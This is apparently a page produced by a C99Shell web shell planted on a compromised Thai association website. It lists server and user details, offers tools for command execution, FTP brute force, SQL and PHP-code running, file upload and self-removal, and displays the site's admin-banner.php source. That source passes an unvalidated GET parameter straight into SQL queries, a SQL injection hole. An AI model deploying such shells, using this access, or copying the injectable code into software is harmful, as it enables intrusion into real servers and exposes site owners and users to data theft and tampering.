!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/admin/   drwxr-xr-x
Free 237.18 GB of 981.82 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin-banner.php (9.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
session_start
();
if(!
$_SESSION['fullname']){
    
header("location: index.php");
}
 
?>
<!doctype html>
<html class="fixed">
    <head>

        <!-- Basic -->
        <meta charset="UTF-8">

        <title>Administrator | สมาคมนักกฎหมายสาธารณสุข</title>
        <meta name="keywords" content="HTML5 Admin Template" />
        <meta name="description" content="สมาคมนักกฎหมายสาธารณสุข,กฎหมายกระทรวงสาธารณสุข">
        <meta name="author" content="mophlawyer.com">

        <!-- Mobile Metas -->
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />

        <!-- Web Fonts  -->
        <link href="https://fonts.googleapis.com/css?family=Mitr:300" rel="stylesheet">

        <!-- Vendor CSS -->
        <link rel="stylesheet" href="assets/vendor/bootstrap/css/bootstrap.css" />
        <link rel="stylesheet" href="assets/vendor/font-awesome/css/font-awesome.css" />
        <link rel="stylesheet" href="assets/vendor/magnific-popup/magnific-popup.css" />
        <link rel="stylesheet" href="assets/vendor/bootstrap-datepicker/css/datepicker3.css" />

        <!-- Specific Page Vendor CSS -->
        <link rel="stylesheet" href="assets/vendor/bootstrap-fileupload/bootstrap-fileupload.min.css" />

        <!-- Theme CSS -->
        <link rel="stylesheet" href="assets/stylesheets/theme.css" />

        <!-- Skin CSS -->
        <link rel="stylesheet" href="assets/stylesheets/skins/default.css" />

        <!-- Theme Custom CSS -->
        <link rel="stylesheet" href="assets/stylesheets/theme-custom.css">

        <!-- Head Libs -->
        <script src="assets/vendor/modernizr/modernizr.js"></script><!-- Vendor CSS -->
        <link rel="stylesheet" href="assets/vendor/bootstrap/css/bootstrap.css" />
        <link rel="stylesheet" href="assets/vendor/font-awesome/css/font-awesome.css" />
        <link rel="stylesheet" href="assets/vendor/magnific-popup/magnific-popup.css" />
        <link rel="stylesheet" href="assets/vendor/bootstrap-datepicker/css/datepicker3.css" />

        <!-- Specific Page Vendor CSS -->
        <link rel="stylesheet" href="assets/vendor/select2/select2.css" />
        <link rel="stylesheet" href="assets/vendor/jquery-datatables-bs3/assets/css/datatables.css" />
        <link rel="stylesheet" href="assets/vendor/pnotify/pnotify.custom.css" />

        <!-- Theme CSS -->
        <link rel="stylesheet" href="assets/stylesheets/theme.css" />

        <!-- Skin CSS -->
        <link rel="stylesheet" href="assets/stylesheets/skins/default.css" />

        <!-- Theme Custom CSS -->
        <link rel="stylesheet" href="assets/stylesheets/theme-custom.css">

        <!-- Head Libs -->
        <script src="assets/vendor/modernizr/modernizr.js"></script>

    </head>
    <body>
        <section class="body">

            <?php require_once("topnav.php"); ?>

            <div class="inner-wrapper">
                <?php require_once("sidebar.php"); ?> 
                <?php require_once("../f_thaidate.php"); ?> 


                <section role="main" class="content-body">
                    <header class="page-header">
                        <h2>Admin : เพิ่ม ลบ แก้ไข</h2>
                    
                        <div class="right-wrapper pull-right">
                            <ol class="breadcrumbs">
                                <li>
                                    <a href="#">
                                        <i class="fa fa-home"></i>
                                    </a>
                                </li>
                                
                                <li><span><?php shownamesite(); ?></span></li>
                            </ol>
                    
                            <div class="sidebar-right-toggle"></div>
                        </div>
                    </header>

                    <!-- start: page -->
                    <section class="panel panel-primary">
                            <header class="panel-heading">
                            <?php 
                                
require_once('db.php');
                                
$cat=$_GET['cat'];   
                                
$resultcat=$conn->prepare("SELECT catname FROM upfile_cat WHERE cat_id=$cat");
                                
$resultcat->execute();
                                
$rowcat=$resultcat->fetch();
                            
                            
?>
                        
                                <h2 class="panel-title"><?php echo $rowcat[0]; ?></h2>
                            </header>
                            <div class="panel-body">
                                <table class="table table-bordered table-striped mb-none">
                                    <thead>
                                        <tr>
                                            <th class="center">ไฟล์</th>
                                            <th>หัวเรื่อง</th>
                                            <th class="center">วันที่ประกาศ</th>
                                            <th class="center">หมวดหมู่</th>
                                            <th class="center">Action</th>
                                        </tr>
                                    </thead>
                                    <?php require_once('db.php'); 
                                                
$result $conn->prepare("SELECT u.id,u.filetype,u.fname,u.fdatein,uc.catname FROM up_files as u INNER JOIN upfile_cat as uc ON u.cattype = uc.cat_id Where u.cattype='$cat' ORDER BY u.id DESC");
                                                
$result->execute();
                                                for(
$i=0$row $result->fetch(); $i++){
                                                
$id=$row['id'];
                                        
?>
                                    <tbody>
                                        <tr class="gradeX">
                                            <td class="center">
                                            <?php if($row['filetype'] == ".pdf"): ?>
                                                <img src="images/icon-pdf.png" width="50px" height="50px">
                                                <?php else: ?>
                                                <?php if($row['filetype'] == ".doc" OR $row['filetype'] == ".docx"): ?>
                                                <img src="images/icon-doc.png" width="50px" height="50px">
                                                <?php else: ?>
                                                <?php if($row['filetype'] == ".ppt"): ?>
                                                <img src="images/icon-ppt.png" width="50px" height="50px">
                                                <?php else: ?>
                                                <?php if($row['filetype'] == ".jpg"): ?>
                                                <img src="images/icon-jpg.png" width="50px" height="50px">
                                                <?php else: ?>
                                                <img src="images/default.png" width="50px" height="50px">
                                                <?php endif;endif;endif;endif; ?>    

                                            </td>
                                            <td> <?php echo $row ['fname']; ?> </td>
                                            <td class="center"><?php echo DateThai($row['fdatein']); ?></td>
                                            <td class="center"><?php echo $row ['catname']; ?></td>
                                            <td class="center"><a href="forms-edit-banner.php?id=<?php echo $id;?>"><button type="submit" class="mb-xs mt-xs mr-xs btn btn-success"><i class="fa fa-hand-o-right"></i>  แก้ไข</button></a>
                                            
                                            <a href="#modalDanger<?php  echo $id;?>" class="mb-xs mt-xs mr-xs modal-basic btn btn-danger"> <i class="fa fa-times"> </i> ลบ</a></td>
                                    <div id="modalDanger<?php  echo $id;?>" class="modal-block modal-header-color modal-block-danger mfp-hide">
                                    <form class="form-horizontal form-bordered" method="post" action="deletebanner.php?files_id=<?php echo $id?>" enctype="multipart/form-data">
                                        <section class="panel">
                                            <header class="panel-heading">
                                                <h2 class="panel-title">ยืนยันการลบข้อมูล !!</h2>
                                            </header>
                                            <div class="panel-body">
                                                <div class="modal-wrapper">
                                                    <div class="modal-icon">
                                                        <i class="fa fa-times-circle"></i>
                                                    </div>
                                                    <div class="modal-text">
                                                        <h4>คุณต้องการลบข้อมูล ? <?php echo $id?></h4>
                                                        
                                                    </div>
                                                </div>
                                            </div>
                                            <footer class="panel-footer">
                                                <div class="row">
                                                    <div class="col-md-12 text-right">
                                                        <button class="btn btn-danger" type="submit" >ยืนยัน</button>
                                                        <button class="btn btn-warning modal-dismiss" type="cancle" >ยกเลิก</button>
                                                    </div>
                                                </div>
                                            </footer>
                                        </section>
                                    </form>
                                    </div>
                                        </tr>
                                        
                                    </tbody>
                                                <?php ?>
                                </table>
                            </div>
                        </section>    
                    <!-- end: page -->
                </section>
            </div>

            
        </section>

        <!-- Vendor -->
        <script src="assets/vendor/jquery/jquery.js"></script>
        <script src="assets/vendor/jquery-browser-mobile/jquery.browser.mobile.js"></script>
        <script src="assets/vendor/bootstrap/js/bootstrap.js"></script>
        <script src="assets/vendor/nanoscroller/nanoscroller.js"></script>
        <script src="assets/vendor/bootstrap-datepicker/js/bootstrap-datepicker.js"></script>
        <script src="assets/vendor/magnific-popup/magnific-popup.js"></script>
        <script src="assets/vendor/jquery-placeholder/jquery.placeholder.js"></script>
        
        <!-- Specific Page Vendor -->
        <script src="assets/vendor/select2/select2.js"></script>
        <script src="assets/vendor/jquery-datatables/media/js/jquery.dataTables.js"></script>
        <script src="assets/vendor/jquery-datatables/extras/TableTools/js/dataTables.tableTools.min.js"></script>
        <script src="assets/vendor/jquery-datatables-bs3/assets/js/datatables.js"></script>
        <script src="assets/vendor/pnotify/pnotify.custom.js"></script>
        
        <!-- Theme Base, Components and Settings -->
        <script src="assets/javascripts/theme.js"></script>
        
        <!-- Theme Custom -->
        <script src="assets/javascripts/theme.custom.js"></script>
        
        <!-- Theme Initialization Files -->
        <script src="assets/javascripts/theme.init.js"></script>


        <!-- Examples -->
        <script src="assets/javascripts/tables/examples.datatables.default.js"></script>
        <script src="assets/javascripts/tables/examples.datatables.row.with.details.js"></script>
        <script src="assets/javascripts/tables/examples.datatables.tabletools.js"></script>
        <script src="assets/javascripts/ui-elements/examples.modals.js"></script>

    </body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0146 ]--